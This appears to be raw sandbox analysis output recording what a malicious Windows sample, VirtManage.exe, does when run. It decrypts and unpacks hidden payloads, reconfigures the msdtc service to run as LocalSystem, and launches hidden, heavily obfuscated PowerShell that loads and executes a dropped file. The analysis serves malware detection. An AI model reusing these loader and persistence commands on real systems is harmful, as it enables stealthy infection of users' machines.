Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\MicrosoftAPI\Cert.txt --decrypt C:\ProgramData\Microsoft\MicrosoftAPI\3FILE.1A.gpg
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exeProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 7BA87831A94E96067AD1C39369AC7469 C
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\MicrosoftAPI\UpdateFull.7z --decrypt C:\ProgramData\Microsoft\MicrosoftAPI\4FILE.1A.gpg
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\7za.exe C:\ProgramData\Microsoft\MicrosoftAPI\7za x C:\ProgramData\Microsoft\MicrosoftAPI\UpdateFull.7z -pTG98HJerxsdqWE45 -oC:\ProgramData\Microsoft\MicrosoftAPI
Source: C:\ProgramData\Microsoft\MicrosoftAPI\7za.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\Windows\SysWOW64\sc.exe sc config msdtc start= demand
Source: C:\Windows\SysWOW64\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\Windows\SysWOW64\sc.exe sc config msdtc obj= "LocalSystem"
Source: C:\Windows\SysWOW64\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exeProcess created: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exe C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exe
Source: C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle Hidden -command "SV 5pW $('C:\Progr'+'amData\Micr'+'osoft\Micro'+'softAPI\ieQ'+'u4aeD'+'3u.t');Set-Item Variable:\Sh 'Net.WebClient';dir rid*;Set-Variable 7 (.(Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name)|GM|Where-Object{(Variable _ -ValueO).Name-clike'*dl*t'}).Name).Invoke((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).PsObject.Methods|Where-Object{(Variable _ -ValueO).Name-clike'*nd*e'}).Name).Invoke('N*ct',1,$TRUE))(GV Sh).Value);Set-Variable GPW ((((Variable 7).Value|GM)|Where-Object{(Variable _ -ValueO).Name-clike'D*g'}).Name);.(Get-Command *e-*press*)((Variable 7).Value.((GCI Variable:/GPW).Value).Invoke((GV 5pW -ValueO)))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknownProcess created: C:\ProgramData\Microsoft\UpdateDesktop\winapi.exe "C:\ProgramData\Microsoft\UpdateDesktop\winapi.exe"
Source: C:\ProgramData\Microsoft\UpdateDesktop\winapi.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle Hidden -command "SI Variable:zX 'Net.WebClient';Set-Variable G8E $('C:\Pro'+'gramDat'+'a\Micro'+'soft\Update'+'Desktop\eep6d'+'i0uGu.t');dir rid*;Set-Variable kAl (.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|Where-Object{(Get-Item Variable:/_).Value.Name-ilike'G*d'}).Name).Invoke($ExecutionContext.InvokeCommand.GetCommandName('N*-O*',1,1),[System.Management.Automation.CommandTypes]::Cmdlet)(GI Variable:\zX).Value);Set-Item Variable:/75 ((((DIR Variable:\kAl).Value|Member)|Where-Object{(Get-Item Variable:/_).Value.Name-ilike'D*g'}).Name);$ExecutionContext|ForEach{(Get-Item Variable:/_).Value.InvokeCommand.(($ExecutionContext.InvokeCommand|Member|Where-Object{(Get-Item Variable:/_).Value.Name-ilike'*ke*pt'}).Name).Invoke((DIR Variable:\kAl).Value.((GV 75 -Va)).Invoke((ChildItem Variable:/G8E).Value))}"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0dxyzzew\0dxyzzew.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6C81.tmp" "c:\Users\user\AppData\Local\Temp\0dxyzzew\CSCE714EBFE583744818A7275BE9DF94CC1.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\whoami.exe "C:\Windows\system32\whoami.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jvshszob.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1217.tmp" "c:\Users\user\AppData\Local\Temp\CSCC94B61069A254E398AE8B2B386E749A2.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\whoami.exe "C:\Windows\system32\whoami.exe"
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\MicrosoftAPI\tools.7z --decrypt C:\ProgramData\Microsoft\MicrosoftAPI\5FILE.1A.gpgJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\MicrosoftAPI\7za.dll --decrypt C:\ProgramData\Microsoft\MicrosoftAPI\1FILE.1A.gpgJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\MicrosoftAPI\7za.exe --decrypt C:\ProgramData\Microsoft\MicrosoftAPI\2FILE.1A.gpgJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\7za.exe C:\ProgramData\Microsoft\MicrosoftAPI\7za x C:\ProgramData\Microsoft\MicrosoftAPI\tools.7z -pJerx#sdqWE45 -oC:\ProgramData\Microsoft\MicrosoftAPIJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\Windows\SysWOW64\msiexec.exe msiexec.exe /i "C:\ProgramData\Microsoft\MicrosoftAPI\RVTools.msi"Jump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\MicrosoftAPI\Cert.txt --decrypt C:\ProgramData\Microsoft\MicrosoftAPI\3FILE.1A.gpgJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\MicrosoftAPI\UpdateFull.7z --decrypt C:\ProgramData\Microsoft\MicrosoftAPI\4FILE.1A.gpgJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\7za.exe C:\ProgramData\Microsoft\MicrosoftAPI\7za x C:\ProgramData\Microsoft\MicrosoftAPI\UpdateFull.7z -pTG98HJerxsdqWE45 -oC:\ProgramData\Microsoft\MicrosoftAPIJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\Windows\SysWOW64\sc.exe sc config msdtc start= demandJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\Windows\SysWOW64\sc.exe sc config msdtc obj= "LocalSystem"Jump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exe C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exeJump to behavior
Source: C:\Windows\System32\msiexec.exeProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 7BA87831A94E96067AD1C39369AC7469 CJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle Hidden -command "SV 5pW $('C:\Progr'+'amData\Micr'+'osoft\Micro'+'softAPI\ieQ'+'u4aeD'+'3u.t');Set-Item Variable:\Sh 'Net.WebClient';dir rid*;Set-Variable 7 (.(Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name)|GM|Where-Object{(Variable _ -ValueO).Name-clike'*dl*t'}).Name).Invoke((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).PsObject.Methods|Where-Object{(Variable _ -ValueO).Name-clike'*nd*e'}).Name).Invoke('N*ct',1,$TRUE))(GV Sh).Value);Set-Variable GPW ((((Variable 7).Value|GM)|Where-Object{(Variable _ -ValueO).Name-clike'D*g'}).Name);.(Get-Command *e-*press*)((Variable 7).Value.((GCI Variable:/GPW).Value).Invoke((GV 5pW -ValueO)))"Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0dxyzzew\0dxyzzew.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\whoami.exe "C:\Windows\system32\whoami.exe"
Source: C:\ProgramData\Microsoft\UpdateDesktop\winapi.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle Hidden -command "SI Variable:zX 'Net.WebClient';Set-Variable G8E $('C:\Pro'+'gramDat'+'a\Micro'+'soft\Update'+'Desktop\eep6d'+'i0uGu.t');dir rid*;Set-Variable kAl (.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|Where-Object{(Get-Item Variable:/_).Value.Name-ilike'G*d'}).Name).Invoke($ExecutionContext.InvokeCommand.GetCommandName('N*-O*',1,1),[System.Management.Automation.CommandTypes]::Cmdlet)(GI Variable:\zX).Value);Set-Item Variable:/75 ((((DIR Variable:\kAl).Value|Member)|Where-Object{(Get-Item Variable:/_).Value.Name-ilike'D*g'}).Name);$ExecutionContext|ForEach{(Get-Item Variable:/_).Value.InvokeCommand.(($ExecutionContext.InvokeCommand|Member|Where-Object{(Get-Item Variable:/_).Value.Name-ilike'*ke*pt'}).Name).Invoke((DIR Variable:\kAl).Value.((GV 75 -Va)).Invoke((ChildItem Variable:/G8E).Value))}"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jvshszob.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\whoami.exe "C:\Windows\system32\whoami.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6C81.tmp" "c:\Users\user\AppData\Local\Temp\0dxyzzew\CSCE714EBFE583744818A7275BE9DF94CC1.TMP"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1217.tmp" "c:\Users\user\AppData\Local\Temp\CSCC94B61069A254E398AE8B2B386E749A2.TMP"
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: dwmapi.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: oleacc.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: shfolder.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: riched20.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: usp10.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: msls31.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: textinputframework.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: coreuicomponents.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: coremessaging.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: textshaping.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: dui70.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: duser.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: chartv.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: atlthunk.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: wtsapi32.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: winsta.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: windows.fileexplorer.common.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: linkinfo.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: ntshrui.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: cscapi.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: explorerframe.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libassuan-9.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libgcrypt-20.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libnpth-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libsqlite3-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: zlib1.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: wldp.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: profapi.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libassuan-9.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libgcrypt-20.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libnpth-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libsqlite3-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: zlib1.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: wldp.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: profapi.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libassuan-9.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libgcrypt-20.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libnpth-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libsqlite3-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: zlib1.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: wldp.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: profapi.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\7za.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: aclayers.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc_os.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msi.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: srpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: tsappcmp.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: textinputframework.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: coreuicomponents.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: coremessaging.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: coremessaging.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: textshaping.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: netapi32.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: cryptnet.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: mscoree.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msihnd.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: dwmapi.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: pcacli.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: oleacc.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: windowscodecs.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: riched20.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: usp10.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msls31.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libassuan-9.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libgcrypt-20.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libnpth-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: libsqlite3-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: zlib1.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: wldp.dllJump to behavior
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\System32\msiexec.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Windows\System32\msiexec.exeSection loaded: aclayers.dllJump to behavior
Source: C:\Windows\System32\msiexec.exeSection loaded: sfc.dllJump to behavior
Source: C:\Windows\System32\msiexec.exeSection loaded: sfc_os.dllJump to behavior
Source: C:\Windows\System32\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\msiexec.exeSection loaded: msi.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: aclayers.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc_os.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msi.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: vbscript.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: scrrun.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: wbemcomn.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: dispex.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sxs.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msasn1.dllJump to behavior
